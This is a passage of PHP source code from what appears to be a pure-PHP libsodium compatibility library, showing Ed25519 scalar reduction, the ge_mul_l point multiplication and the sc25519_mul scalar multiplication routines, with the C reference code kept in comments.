666643, 20); $s10 += self::mul($s21, 470296, 19); $s11 += self::mul($s21, 654183, 20); $s12 -= self::mul($s21, 997805, 20); $s13 += self::mul($s21, 136657, 18); $s14 -= self::mul($s21, 683901, 20); $s8 += self::mul($s20, 666643, 20); $s9 += self::mul($s20, 470296, 19); $s10 += self::mul($s20, 654183, 20); $s11 -= self::mul($s20, 997805, 20); $s12 += self::mul($s20, 136657, 18); $s13 -= self::mul($s20, 683901, 20); $s7 += self::mul($s19, 666643, 20); $s8 += self::mul($s19, 470296, 19); $s9 += self::mul($s19, 654183, 20); $s10 -= self::mul($s19, 997805, 20); $s11 += self::mul($s19, 136657, 18); $s12 -= self::mul($s19, 683901, 20); $s6 += self::mul($s18, 666643, 20); $s7 += self::mul($s18, 470296, 19); $s8 += self::mul($s18, 654183, 20); $s9 -= self::mul($s18, 997805, 20); $s10 += self::mul($s18, 136657, 18); $s11 -= self::mul($s18, 683901, 20); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; $s5 += self::mul($s17, 666643, 20); $s6 += self::mul($s17, 470296, 19); $s7 += self::mul($s17, 654183, 20); $s8 -= self::mul($s17, 997805, 20); $s9 += self::mul($s17, 136657, 18); $s10 -= self::mul($s17, 683901, 20); $s4 += self::mul($s16, 666643, 20); $s5 += self::mul($s16, 470296, 19); $s6 += self::mul($s16, 654183, 20); $s7 -= self::mul($s16, 997805, 20); $s8 += self::mul($s16, 136657, 18); $s9 -= self::mul($s16, 683901, 20); $s3 += self::mul($s15, 666643, 20); $s4 += self::mul($s15, 470296, 19); $s5 += self::mul($s15, 654183, 20); $s6 -= self::mul($s15, 997805, 20); $s7 += self::mul($s15, 136657, 18); $s8 -= self::mul($s15, 683901, 20); $s2 += self::mul($s14, 666643, 20); $s3 += self::mul($s14, 470296, 19); $s4 += self::mul($s14, 654183, 20); $s5 -= self::mul($s14, 997805, 20); $s6 += self::mul($s14, 136657, 18); $s7 -= self::mul($s14, 683901, 20); $s1 += self::mul($s13, 666643, 20); $s2 += self::mul($s13, 470296, 19); $s3 += self::mul($s13, 654183, 20); $s4 -= self::mul($s13, 997805, 20); $s5 += self::mul($s13, 136657, 18); $s6 -= self::mul($s13, 683901, 20); $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry11 = $s11 >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; /** * @var array */ $arr = array( (int) (0xff & ($s0 >> 0)), (int) (0xff & ($s0 >> 8)), (int) (0xff & (($s0 >> 16) | $s1 << 5)), (int) (0xff & ($s1 >> 3)), (int) (0xff & ($s1 >> 11)), (int) (0xff & (($s1 >> 19) | $s2 << 2)), (int) (0xff & ($s2 >> 6)), (int) (0xff & (($s2 >> 14) | $s3 << 7)), (int) (0xff & ($s3 >> 1)), (int) (0xff & ($s3 >> 9)), (int) (0xff & (($s3 >> 17) | $s4 << 4)), (int) (0xff & ($s4 >> 4)), (int) (0xff & ($s4 >> 12)), (int) (0xff & (($s4 >> 20) | $s5 << 1)), (int) (0xff & ($s5 >> 7)), (int) (0xff & (($s5 >> 15) | $s6 << 6)), (int) (0xff & ($s6 >> 2)), (int) (0xff & ($s6 >> 10)), (int) (0xff & (($s6 >> 18) | $s7 << 3)), (int) (0xff & ($s7 >> 5)), (int) (0xff & ($s7 >> 13)), (int) (0xff & ($s8 >> 0)), (int) (0xff & ($s8 >> 8)), (int) (0xff & (($s8 >> 16) | $s9 << 5)), (int) (0xff & ($s9 >> 3)), (int) (0xff & ($s9 >> 11)), (int) (0xff & (($s9 >> 19) | $s10 << 2)), (int) (0xff & ($s10 >> 6)), (int) (0xff & (($s10 >> 14) | $s11 << 7)), (int) (0xff & ($s11 >> 1)), (int) (0xff & ($s11 >> 9)), (int) (0xff & ($s11 >> 17)) ); return self::intArrayToString($arr); } /** * multiply by the order of the main subgroup l = 2^252+27742317777372353535851937790883648493 * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 */ public static function ge_mul_l(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A) { $aslide = array( 13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 ); /** @var array $Ai size 8 */ $Ai = array(); # ge_p3_to_cached(&Ai[0], A); $Ai[0] = self::ge_p3_to_cached($A); # ge_p3_dbl(&t, A); $t = self::ge_p3_dbl($A); # ge_p1p1_to_p3(&A2, &t); $A2 = self::ge_p1p1_to_p3($t); for ($i = 1; $i < 8; ++$i) { # ge_add(&t, &A2, &Ai[0]); $t = self::ge_add($A2, $Ai[$i - 1]); # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_p3_to_cached(&Ai[i], &u); $Ai[$i] = self::ge_p3_to_cached($u); } $r = self::ge_p3_0(); for ($i = 252; $i >= 0; --$i) { $t = self::ge_p3_dbl($r); if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_add(&t, &u, &Ai[aslide[i] / 2]); $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]); } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]); $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]); } } # ge_p1p1_to_p3(r, &t); return self::ge_p1p1_to_p3($t); } /** * @param string $a * @param string $b * @return string */ public static function sc25519_mul($a, $b) { // int64_t a0 = 2097151 & load_3(a); // int64_t a1 = 2097151 & (load_4(a + 2) >> 5); // int64_t a2 = 2097151 & (load_3(a + 5) >> 2); // int64_t a3 = 2097151 & (load_4(a + 7) >> 7); // int64_t a4 = 2097151 & (load_4(a + 10) >> 4); // int64_t a5 = 2097151 & (load_3(a + 13) >> 1); // int64_t a6 = 2097151 & (load_4(a + 15) >> 6); // int64_t a7 = 2097151 & (load_3(a + 18) >> 3); // int64_t a8 = 2097151 & load_3(a + 21); // int64_t a9 = 2097151 & (load_4(a + 23) >> 5); // int64_t a10 = 2097151 & (load_3(a + 26) >> 2); // int64_t a11 = (load_4(a + 28) >> 7); $a0 = 2097151 & self::load_3(self::substr($a, 0, 3)); $a1 = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5); $a2 = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2); $a3 = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7); $a4 = 2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4); $a5 = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1); $a6 = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6); $a7 = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3); $a8 = 2097151 & self::load_3(self::substr($a, 21, 3)); $a9 = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5); $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2); $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7); // int64_t b0 = 2097151 & load_3(b); // int64_t b1 = 2097151 & (load_4(b + 2) >> 5); // int64_t b2 = 2097151 & (load_3(b + 5) >> 2); // int64_t b3 = 2097151 & (load_4(b + 7) >> 7); // int64_t b4 = 2097151 & (load_4(b + 10) >> 4); // int64_t b5 = 2097151 & (load_3(b + 13) >> 1); // int64_t b6 = 2097151 & (load_4(b + 15) >> 6); // int64_t b7 = 2097151 & (load_3(b + 18) >> 3); // int64_t b8 = 2097151 & load_3(b + 21); // int64_t b9 = 2097151 & (load_4(b + 23) >> 5); // int64_t b10 = 2097151 & (load_3(b + 26) >> 2); // int64_t b11 = (load_4(b + 28) >> 7); $b0 = 2097151 & self::load_3(self::substr($b, 0, 3)); $b1 = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5); $b2 = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2); $b3 = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7); $b4 = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4); $b5 = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1); $b6 = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6); $b7 = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3); $b8 = 2097151 & self::load_3(self::substr($b, 21, 3)); $b9 = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5); $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2); $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7); // s0 = a0 * b0; // s1 = a0 * b1 + a1 * b0; // s2 = a0 * b2 + a1 * b1 + a2 * b0; // s3 = a0 * b3 + a1 * b2 + a2 * b1 + a3 * b0; // s4 = a0 * b4 + a1 * b3 + a2 * b2 + a3 * b1 + a4 * b0; // s5 = a0 * b5 + a1 * b4 + a2 * b3 + a3 * b2 + a4 * b1 + a5 * b0; // s6 = a0 * b6 + a1 * b5 + a2 * b4 + a3 * b3 + a4 * b2 + a5 * b1 + a6 * b0; // s7 = a0 * b7 + a1 * b6 + a2 * b5 + a3 * b4 + a4 * b3 + a5 * b2 + // a6 * b1 + a7 * b0; // s8 = a0 * b8 + a1 * b7 + a2 * b6 + a3 * b5 + a4 * b4 + a5 * b3 + // a6 * b2 + a7 * b1 + a8 * b0; // s9 = a0 * b9 + a1 * b8 + a2 * b7 + a3 * b6 + a4 * b5 + a5 * b4 + // a6 * b3 + a7 * b2 + a8 * b1 + a9 * b0; // s10 = a0 * b10 + a1 * b9 + a2 * b8 + a3 * b7 + a4 * b6 + a5 * b5 + // a6 * b4 + a7 * b3 + a8 * b2 + a9 * b1 + a10 * b0; // s11 = a0 * b11 + a1 * b10 + a2 * b9 + a3 * b8 + a4 * b7 + a5 * b6 + // a6 * b5 + a7 * b4 + a8 * b3 + a9 * b2 + a10 * b1 + a11 * b0; // s12 = a1 * b11 + a2 * b10 + a3 * b9 + a4 * b8 + a5 * b7 + a6 * b6 + // a7 * b5 + a8 * b4 + a9 * b3 + a10 * b2 + a11 * b1; // s13 = a2 * b11 + a3 * b10 + a4 * b9 + a5 * b8 + a6 * b7 + a7 * b6 + // a8 * b5 + a9 * b4 + a10 * b3 + a11 * b2; // s14 = a3 * b11 + a4 * b10 + a5 * b9 + a6 * b8 + a7 * b7 + a8 * b6 + // a9 * b5 + a10 * b4 + a11 * b3; // s15 = a4 * b11 + a5 * b10 + a6 * b9 + a7 * b8 + a8 * b7 + a9 * b6 + // a10 * b5 + a11 * b4; // s16 = // a5 * b11 + a6 * b10 + a7 * b9 + a8 * b8 + a9 * b7 + a10 * b6 + a11 * b5; // s17 = a6 * b11 + a7 * b10 + a8 * b9 + a9 * b8 + a10 * b7 + a11 * b6; // s18 = a7 * b11 + a8 * b10 + a9 * b9 + a10 * b8 + a11 * b7; // s19 = a8 * b11 + a9 * b10 + a10 * b9 + a11 * b8; // s20 = a9 * b11 + a10 * b10 + a11 * b9; // s21 = a10 * b11 + a11 * b10; // s22 = a11 * b11; // s23 = 0; $s0 = self::mul($a0, $b0, 22); $s1 = self::mul($a0, $b1, 22) + self::mul($a1, $b0, 22); $s2 = self::mul($a0, $b2, 22) + self::mul($a1, $b1, 22) + self::mul($a2, $b0, 22); $s3 = self::mul($a0, $b3, 22) + self::mul($a1, $b2, 22) + self::mul($a2, $b1, 22) + self::mul($a3, $b0, 22); $s4 = self::mul($a0, $b4, 22) + self::mul($a1, $b3, 22) + self::mul($a2, $b2, 22) + self::mul($a3, $b1, 22) + self::mul($a4, $b0, 22); $s5 = self::mul($a0, $b5, 22) + self::mul($a1, $b4, 22) + self::mul($a2, $b3, 22) + self::mul($a3, $b2, 22) + self::mul($a4, $b1, 22) + self::mul($a5, $b0, 22); $s6 = self::mul($a0, $b6, 22) + self::mul($a1, $b5, 22) + self::mul($a2, $b4, 22) + self::mul($a3, $b3, 22) + self::mul($a4, $b2, 22) + self::mul($a5, $b1, 22) + self::mul($a6, $b0, 22); $s7 = self::mul($a0, $b7, 22) + self::mul($a1, $b6, 22) + self::mul($a2, $b5, 22) + self::mul($a3, $b4, 22) + self::mul($a4, $b3, 22) + self::mul($a5, $b2, 22) + self::mul($a6, $b1, 22) + self::mul($a7, $b0, 22); $s8 = self::mul($a0, $b8, 22) + self::mul($a1, $b7, 22) + self::mul($a2, $b6, 22) + self::mul($a3, $b5, 22) + self::mul($a4, $b4, 22) + self::mul($a5, $b3, 22) + self::mul($a6, $b2, 22) + self::mul($a7, $b1, 22) + self::mul($a8, $b0, 22); $s9 = self::mul($a0, $b9, 22) + self::mul($a1, $b8, 22) + self::mul($a2, $b7, 22) + self::mul($a3, $b6, 22) + self::mul($a4, $b5, 22) + self::mul($a5, $b4, 22) + self::mul($a6, $b3, 22) + self::mul($a7, $b2, 22) + self::mul($a8, $b1, 22) + self::mul($a9, $b0, 22); $s10 = self::mul($a0, $b10, 22) + self::mul($a1, $b9, 22) + self::mul($a2, $b8, 22) + self::mul($a3, $b7, 22) + self::mul($a4, $b6, 22) + self::mul($a5, $b5, 22) + self::mul($a6, $b4, 22) + self::mul($a7, $b3, 22) + self::mul($a8, $b2, 22) + self::mul($a9, $b1, 22) + self::mul($a10, $b0, 22); $s11 = self::mul($a0, $b11, 22) + self::mul($a1, $b10, 22) + self::mul($a2, $b9, 22) + self::mul($a3, $b8, 22) + self::mul($a4, $b7, 22) + self::mul($a5, $b6, 22) + self::mul($a6, $b5, 22) + self::mul($a7, $b4, 22) + self::mul($a8, $b3, 22) + self::mul($a9, $b2, 22) + self::mul($a10, $b1, 22) + self::mul($a11, $b0, 22); $s12 = self::mul($a1, $b11, 22) + self::mul($a2, $b10, 22) + self::mul($a3, $b9, 22) + self::mul($a4, $b8, 22) + self::mul($a5, $b7, 22) + self::mul($a6, $b6, 22) + self::mul($a7, $b5, 22) + self::mul($a8, $b4, 22) + self::mul($a9, $b3, 22) + self::mul($a10, $b2, 22) + self::mul($a11, $b1, 22); $s13 = self::mul($a2, $b11, 22) + self::mul($a3, $b10, 22) + self::mul($a4, $b9, 22) + self::mul($a5, $b8, 22) + self::mul($a6, $b7, 22) + self::mul($a7, $b6, 22) + self::mul($a8, $b5, 22) + self::mul($a9, $b4, 22) + self::mul($a10, $b3, 22) + self::mul($a11, $b2, 22); $s14 = self::mul($a3, $b11, 22) + self::mul($a4, $b10, 22) + self::mul($a5, $b9, 22) + self::mul($a6, $b8, 22) + self::mul($a7, $b7, 22) + self::mul($a8, $b6, 22) + self::mul($a9, $b5, 22) + self::mul($a10, $b4, 22) + self::mul($a11, $b3, 22); $s15 = self::mul($a4, $b11, 22) + self::mul($a5, $b10, 22) + self::mul($a6, $b9, 22) + self::mul($a7, $b8, 22) + self::mul($a8, $b7, 22) + self::mul($a9, $b6, 22) + self::mul($a10, $b5, 22) + self::mul($a11, $b4, 22); $s16 = self::mul($a5, $b11, 22) + self::mul($a6, $b10, 22) + self::mul($a7, $b9, 22) + self::mul($a8, $b8, 22) + self::mul($a9, $b7, 22) + self::mul($a10, $b6, 22) + self::mul($a11, $b5, 22); $s17 = self::mul($a6, $b11, 22) + self::mul($a7, $b10, 22) + self::mul($a8, $b9, 22) + self::mul($a9, $b8, 22) + self::mul($a10, $b7, 22) + self::mul($a11, $b6, 22); $s18 = self::mul($a7, $b11, 22) + self::mul($a8, $b10, 22) + self::mul($a9, $b9, 22) + self::mul($a10, $b8, 22) + self::mul($a11, $b7, 22); $s19 = self::mul($a8, $b11, 22) + self::mul($a9, $b10, 22) + self::mul($a10, $b9, 22) + self::mul($a11, $b8, 22); $s20 = self::mul($a9, $b11, 22) + self::mul($a10, $b10, 22) + self::mul($a11, $b9, 22); $s21 = self::mul($a10, $b11, 22) + self::mul($a11, $b10, 22); $s22 = self::mul($a11, $b11, 22); $s23 = 0; // carry0 = (s0 + (int64_t) (1L << 20)) >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry2 = (s2 + (int64_t) (1L << 20)) >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry4 = (s4 + (int64_t) (1L << 20)) >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry6 = (s6 + (int64_t) (1L << 20)) >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry8 = (s8 + (int64_t) (1L << 20)) >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry10 = (s10 + (int64_t) (1L << 20)) >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry12 = (s12 + (int64_t) (1L << 20)) >> 21; // s13 += carry12; // s12 -= carry12 * ((uint64_t) 1L << 21); $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; // carry14 = (s14 + (int64_t) (1L << 20)) >> 21; // s15 += carry14; // s14 -= carry14 * ((uint64_t) 1L << 21); $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; // carry16 = (s16 + (int64_t) (1L << 20)) >> 21; // s17 += carry16; // s16 -= carry16 * ((uint64_t) 1L << 21); $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; // carry18 = (s18 + (int64_t) (1L << 20)) >> 21; // s19 += carry18; // s18 -= carry18 * ((uint64_t) 1L << 21); $carry18 = ($s18 + (1 << 20)) >> 21; $s19 += $carry18; $s18 -= $carry18 << 21; // carry20 = (s20 + (int64_t) (1L << 20)) >> 21; // s21 += carry20; // s20 -= carry20 * ((uint64_t) 1L << 21); $carry20 = ($s20 + (1 << 20)) >> 21; $s21 += $carry20; $s20 -= $carry20 << 21; // carry22 = (s22 + (int64_t) (1L << 20)) >> 21; // s23 += carry22; // s22 -= carry22 * ((uint64_t) 1L << 21); $carry22 = ($s22 + (1 << 20)) >> 21; $s23 += $carry22; $s22 -= $carry22 << 21; // carry1 = (s1 + (int64_t) (1L << 20)) >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry3 = (s3 + (int64_t) (1L << 20)) >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry5 = (s5 + (int64_t) (1L << 20)) >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry7 = (s7 + (int64_t) (1L << 20)) >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry9 = (s9 + (int64_t) (1L << 20)) >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry11 = (s11 + (int64_t) (1L << 20)) >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // carry13 = (s13 + (int64_t) (1L << 20)) >> 21; // s14 += carry13; // s13 -= carry13 * ((uint64_t) 1L << 21); $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; // carry15 = (s15 + (int64_t) (1L << 20)) >> 21; // s16 += carry15; // s15 -= carry15 * ((uint64_t) 1L << 21); $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; // carry17 = (s17 + (int64_t) (1L << 20)) >> 21; // s18 += carry17; // s17 -= carry17 * ((uint64_t) 1L << 21); $carry17 = ($s17 + (1 << 20)) >> 21; $s18 += $carry17; $s17 -= $carry17 << 21; // carry19 = (s19 + (int64_t) (1L << 20)) >> 21; // s20 += carry19; // s19 -= carry19 * ((uint64_t) 1L << 21); $carry19 = ($s19 + (1 << 20)) >> 21; $s20 += $carry19; $s19 -= $carry19 << 21; // carry21 = (s21 + (int64_t) (1L << 20)) >> 21; // s22 += carry21; // s21 -= carry21 * ((uint64_t) 1L << 21); $carry21 = ($s21 + (1 << 20)) >> 21; $s22 += $carry21; $s21 -= $carry21 << 21; // s11 += s23 * 666643; // s12 += s23 * 470296; // s13 += s23 * 654183; // s14 -= s23 * 997805; // s15 += s23 * 136657; // s16 -= s23 * 683901; $s11 += self::mul($s23, 666643, 20); $s12 += self::mul($s23, 470296, 19); $s13 += self::mul($s23, 654183, 20); $s14 -= self::mul($s23, 997805, 20); $s15 += self::mul($s23, 136657, 18); $s16 -= self::mul($s23, 683901, 20); // s10 += s22 * 666643; // s11 += s22 * 470296; // s12 += s22 * 654183; // s13 -= s22 * 997805; // s14 += s22 * 136657; // s15 -= s22 * 683901; $s10 += self::mul($s22, 666643, 20); $s11 += self::mul($s22, 470296, 19); $s12 += self::mul($s22, 654183, 20); $s13 -= self::mul($s22, 997805, 20); $s14 += self::mul($s22, 136657, 18); $s15 -= self::mul($s22, 683901, 20); // s9 += s21 * 666643; // s10 += s21 * 470296; // s11 += s21 * 654183; // s12 -= s21 * 997805; // s13 += s21 * 136657; // s14 -= s21 * 683901; $s9 += self::mul($s21, 666643, 20); $s10 += self::mul($s21, 470296, 19); $s11 += self::mul($s21, 654183, 20); $s12 -= self::mul($s21, 997805, 20); $s13 += self::mul($s21, 136657, 18); $s14 -= self::mul($s21, 683901, 20); // s8 += s20 * 666643; // s9 += s20 * 470296; // s10 += s20 * 654183; // s11 -= s20 * 997805; // s12 += s20 * 136657; // s13 -= s20 * 683901; $s8 += self::mul($s20, 666643, 20); $s9 += self::mul($s20, 470296, 19); $s10 += self::mul($s20, 654183, 20); $s11 -= self::mul($s20, 997805, 20); $s12 += self::mul($s20, 136657, 18); $s13 -= self::mul($s20, 683901, 20); // s7 += s19 * 666643; // s8 += s19 * 470296; // s9 += s19 * 654183; // s10 -= s19 * 997805; // s11 += s19 * 136657; // s12 -= s19 * 683901; $s7 += self::mul($s19, 666643, 20); $s8 += self::mul($s19, 470296, 19); $s9 += self::mul($s19, 654183, 20); $s10 -= self::mul($s19, 997805, 20); $s11 += self::mul($s19, 136657, 18); $s12 -= self::mul($s19, 683901, 20); // s6 += s18 * 666643; // s7 += s18 * 470296; // s8 += s18 * 654183; // s9 -= s18 * 997805; // s10 += s18 * 136657; // s11 -= s18 * 683901; $s6 += self::mul($s18, 666643, 20); $s7 += self::mul($s18, 470296, 19); $s8 += self::mul($s18, 654183, 20); $s9 -= self::mul($s18, 997805, 20); $s10 += self::mul($s18, 136657, 18); $s11 -= self::mul($s18, 683901, 20); // carry6 = (s6 + (int64_t) (1L << 20)) >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += 